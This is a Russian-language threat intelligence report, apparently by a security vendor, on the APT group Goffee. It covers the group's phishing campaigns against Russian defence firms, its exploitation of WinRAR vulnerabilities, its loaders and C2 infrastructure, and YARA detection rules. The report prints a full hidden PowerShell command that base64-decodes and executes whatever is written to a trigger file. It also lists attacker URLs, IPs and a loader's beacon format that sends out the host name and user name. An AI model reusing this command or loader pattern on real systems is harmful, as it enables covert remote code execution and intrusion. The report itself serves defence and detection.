Домен первого уровня.com, .org — чаще
.host — реже

Этап работы вредоносного ПО

Рисунок — Сетевой профиль сетевых индикаторов для вредоносного ПО Goffee
Рисунок — Сетевой профиль сетевых индикаторов для вредоносного ПО Goffee

Самая интересная часть изучения сетевых индикаторов — поиск доменов последней стадии цепочки атаки. Изучив большое количество серверов злоумышленников, найденных во время расследования инцидентов, удалось выявить ряд признаков.

ПризнакЗначение
Используемые хостинги и IP-адресаХостинги с русскими подсетями (Aeza, MivoCloud, Beget, Stark Industries, VDSINA и др.)
Используемый уровень доменаТретий — чаще
Второй — реже
МимикрияРоссийские разработки и системы
Домены Unix-подобных систем
Домены других систем, используемых пользователями
Ключевые словаmirror, deb, app, repo, api, altlinux, astralinux, apt, pkg
Используемые домены первого уровня.com
Замечено использование .cloud
РегистраторNamecheap

Для поиска других индикаторов выполнялся поиск по ключевым словам, просмотр подсетей с IP-адресами на территории России.

Подтверждение выявленных особенностей. Атаки Goffee летом 2025 года

Начало июля. Атака на ОПК

В июле 2025 года была обнаружена новое фишинговое письмо от лица Минпромторга России, адресованное российской компании в сфере ОПК. Во вложении письма находился вредоносный архив minprom_04072025.rar с тремя файлами:

  • Шаблон_запроса (7) (11).docx — документ-приманка;
  • xpsrchvw74.exe — вредоносный исполняемый файл;
  • письмо на СМ_(файл отображения).pdf — документ от лица Минпромторга России.
Рисунок — Фишинговое письмо от лица Минпромторга России
Рисунок — Фишинговое письмо от лица Минпромторга России
Рисунок — Документ-приманка
Рисунок — Документ-приманка
Рисунок — Документ от лица Минпромторга России
Рисунок — Документ от лица Минпромторга России

Особенность RAR-архива — использование CVE-2025-6218 для размещения ВПО в папке автозагрузки. Само ВПО являлся пропатченным загрузчиком документов XPS xpsrchvw.exe, внутри которого был Metasploit. Вредносный шеллкод устанавливает соединение и открывает reverse shell.

Обнаруженные особенности инфраструктуры Goffee в этой атаке:

  • Письмо отправлено с российского IP-адреса 213.171.4[.]200, на котором обнаружены домены rt-inforu[.]ru и impact-dns[.]ru.
  • В цепочке атаки используется ссылка большой вложенности: hxxps://eliteheirs[.]org/checks/brandished/dyestuffs/abbess/interrelation
    • Сам домен находится в зоне .org, второго уровня и зарегистрирован через NameSilo.
  • Вредоносное ПО использует IP-адрес в русской зоне — 89.110.88[.]155 (VDSINA).

Дальнейшую цепочку атаки раскрыть не удалось, так как C2 злоумышленников на момент анализа перестал быть активным.

При поиске по похожим названиям удалось найти файл с названием xpsrchvw.exe. Проанализировав его, мы обнаружили в нем модифицированную часть в виде вредоносного шеллкода, вставленного на стадии предзагрузки. Он использует ту же обфускацию и динамический резолв API, что и MiRat. В результате загрузчик скачивает вредоносный декой — Excel-файл, находящийся по ссылке hxxps:// rulebest[.]com/earthlings/baled/confidants/contraflows/hyphened.xlsx. Файл сохраняют по адресу %TEMP%\mob2025.xlsx и запускают при помощи команды:

C:\Windows\System32\cmd.exe /c start "" "%TEMP%\mob2025.xlsx"

К сожалению, на момент исследования ссылка не работала, и нам не посчастливилось получить декой. После шеллкод приступает к выполнению основных функций. Загрузчик запускает cmd со следующей командой:

/c start %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -Command "$watcher = New-object System.IO.FileSystemWatcher \"$env:TEMP\\\";$watcher.EnableRaisingEvents '= $true;$watcher.Filter=\"trigger.txt\";$watcher.NotifyFilter = [System.IO.NotifyFilters]::LastWrite;$trigger = Register-ObjectEvent $watcher \"Changed\"  -Action {$trigger_content = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-Content \"$env:TEMP\\trigger.txt\" -Raw))); iex $trigger_content};while($true) {$null = $watcher.WaitForChanged(\"Changed\");start-sleep -s 2;};

В результате его выполнения ставится триггер: при каждой записи в файл trigger.txt его содержимое расшифровывается алгоритмом base64 и тут же выполняется. Затем и шеллкод создает файл %TEMP%/trigger.txt, расшифровывает его содержание и записывает в файл.

Рисунок— PowerPrepare, генерация ID
Рисунок— PowerPrepare, генерация ID

Файл trigger.txt оказался наследником PowerModule; мы назвали его PowerPrepare. В начале работы PowerPrepare генерирует ID жертвы и зашифровывает его алгоритмом base64 с заменой некоторых символов. После этого генерируется запрос на URL следующего вида:

Рисунок — PowerPrepare, генерация ссылки для запроса
Рисунок — PowerPrepare, генерация ссылки для запроса

Здесь UID — это уникальный идентификатор самого PowerPrepare, в нашем случае он был равен 0d15a3e9-a28e-462a-a9d6-8b4bb96093b6. Ответом на данный запрос следует накрытый base64 dotnet модуль, который рефлективно загружается в систему и тут же запускается.

Конец июля. Атака с использованием уязвимости нулевого дня в WinRar

В июле, 22-го и 31-го числа, были обнаружены еще несколько архивов DON_AVIA_TRANS_RU.rar и Запрос_Минпромторг_22.07.rar. Архивы содержали файлы, эксплуатирующие ранее неизвестную уязвимость в WinRar версий до 7.12 включительно. Суть уязвимости — Path Traversal в функции распаковки альтернативных потоков данных для файла.

Помимо документа-приманки в архиве содержится вредоносные .lnk- и .exe-файлы, которые являются альтернативными потоками данных для PDF-файла. С помощью уязвимости по следующим путям распаковываются вредоносные файлы:

  • AppData\Local\WinRunApp.exe 
  • AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinRunApp.lnk
Рисунок — Документ-приманка в новом архиве
Рисунок — Документ-приманка в новом архиве

Сам исполняемый файл является простым загрузчиком на .NET, который выполняет ряд действий:

  • запускает команду, указанную в конфиге (если такая есть);
  • запускает мьютекс с указанным именем;
  • формирует URL для отправки запроса на получение следующей полезной нагрузки (рис. XX1):
    <url>?hostname=<MachineName>&username=<UserName>
  • отправляет запрос на получение полезной нагрузки.

После этого полученный модуль рефлективно загружают.

Рисунок XX1 — Формирование ссылки для соединения с C2
Рисунок XX1 — Формирование ссылки для соединения с C2

В ходе последних обнаруженных атак использовались ссылки формата:

  • https: //Trailtastic.org/glowworms/diverted/calorie/britons/parabolas
  • https: //IndoorVisions.org/patriarchal/furthering/creating/flared/censured

Как можно заметить, ссылки имеют пять уровень вложенности, оба домена расположены на серверах с русским IP-адресом (94.242.51.73 и 89.110.98.26 на момент исследования), зарегистрированы в Namecheap, и оба домена первого уровня — .org. Помимо этого, атрибутироваться к группировке может документ-приманка от лица Минпромторга, похожее уже было замечено 4 июля.

Вывод

Анализ активности группировки Goffee показывает устойчивую и продуманную тактику, направленную на достижение долгосрочного присутствия в инфраструктуре жертв при минимальной видимости. Атаки группы уже привели к ощутимым последствиям, включая зафиксированные случаи остановки бизнес-процессов в российских организациях.

Несмотря на то что активность Goffee отслеживается более двух лет, информация о ней слабо представлена в публичном информационном поле. Это связано в первую очередь с ограниченной географией атак (они направлены преимущественно на российские организации) и фокусом группировки на скрытность, что затрудняло получение инструментов, используемых на поздних этапах развития атаки.

В результате долгого исследования удалось обнаружить новые инструменты группировки, используемые на поздних этапах атаки, такие как DQuic, MiRat, BindSycler и руткит Sauropsida. Однако не перестают быть актуальными инструменты, использованные группировкой ранее, такие как owowa и PowerTaskel.

Исследователям удалось выявить и сетевой профиль злоумышленников. Goffee используют российские IP-адресации и хостинги, вероятно ради снижения рисков обнаружения. Такая тактика помогает обходить фильтрацию трафика по геолокации, а также маскирует активность под действия внутреннего участника инфраструктуры. Чаще всего такие IP-адреса используются на промежуточных этапах — для доставки вредоносного ПО или настройки туннелирования.

Выявленный в результате исследования устойчивые технические признаки — повторяющиеся схемы упаковки, сетевой профиль группы и особенности шифрования трафика — позволяют с высокой долей уверенности связывать инциденты с данной группой и прогнозировать ее возможную активность в будущем.

Индикаторы компрометации

Вердикты продуктов Positive Technologies

PT Sandbox

import elf

rule apt_linux_ZZ_GOFFEE__Dropper__RolMod13 {
    meta:
        description       = "Linux loader with algo RolMod13"
    strings:
        $code_at_00001BD7 = { 4? C1 E? 04 4? 89 ?? 4? 8B (?5 | ?D) ?? FF FF FF 4? 01 ?? 4? C7 4? 08 00 10 00 00 8B (?5 | ?D) ?? 4? 98 4? C1 E? 04 }
        $code_at_00001DD2 = { 4? C1 E? 04 4? 89 ?? 4? 8B (?5 | ?D) ?? FF FF FF 4? 01 ?? 4? C7 00 19 00 00 00 }
        $code_at_00001EDA = {
            B? 4F EC C4 4E
            89 ??
            F7 E?
            C1 E? 02
            89 ?? 01
        }
        $code_at_00001EEA = { 01 ?? C1 E? 02 01 ?? 29 ?? 89 }
    condition:
        uint32be(0) == 0x7f454c46 and (3 of them and (for any i in (0..elf.number_of_sections): (elf.sections[i].size > 0x200000 and elf.sections[i].name == ".data")) or elf.telfhash() == "T13AB01287D731E75D98911C754C0400A70023438C772CC3000F91D850CC3440372F131C")
}

rule tool_win_ZZ_Ebowla__Dropper__Go {
    meta:
        description       = "Go loader Ebowla with base64 payload"
    strings:
        $v1  = "main._Cfunc_MemoryCallEntryPoint"
        $v2  = "main.build_code"
        $v3  = "main.sysNativeDone"
        $v4  = "main._Cfpvar_fp_MemoryDefaultGetProcAddress"
        $v5  = "minus_bytes"
        $v6  = "key_combos"
        $v7  = "another_temp"
        $v8  = "temp_encrypted_payload"
        $v9  = "raw_key"
        $v10 = "payload_test_hash"
        $v11 = "main.walk_path"
        $v12 = "temp_keycombos"
        $v13 = "full_payload"
    condition:
        uint16(0) == 0x5A4D and 5 of ($v*)
}

rule tool_win_ZZ_InfinityLoader__Trojan {
    meta:
        description       = "Infinity loader detect"
    strings:
        $code1 = { 32 54 08 10 49 C1 F9 ?? 44 31 CA 4D 89 C1 49 C1 F8 ?? 49 C1 F9 ?? 44 31 CA 44 31 C2 }
        $code2 = { 48 8B 45 ?? 89 C2 48 8B 45 ?? 89 D1 48 D3 F8 44 31 C0 89 C2 48 8B 4D ?? 48 8B 45 ?? 48 01 C8 48 83 C0 ?? 88 10 }
        $s1    = "Infinity"
        $s2    = "crowload"
    condition:
        uint16be(0) == 0x4D5A and (($s1 and $code1) or ($s2 and $code2))
}

PT NAD и PT NGFW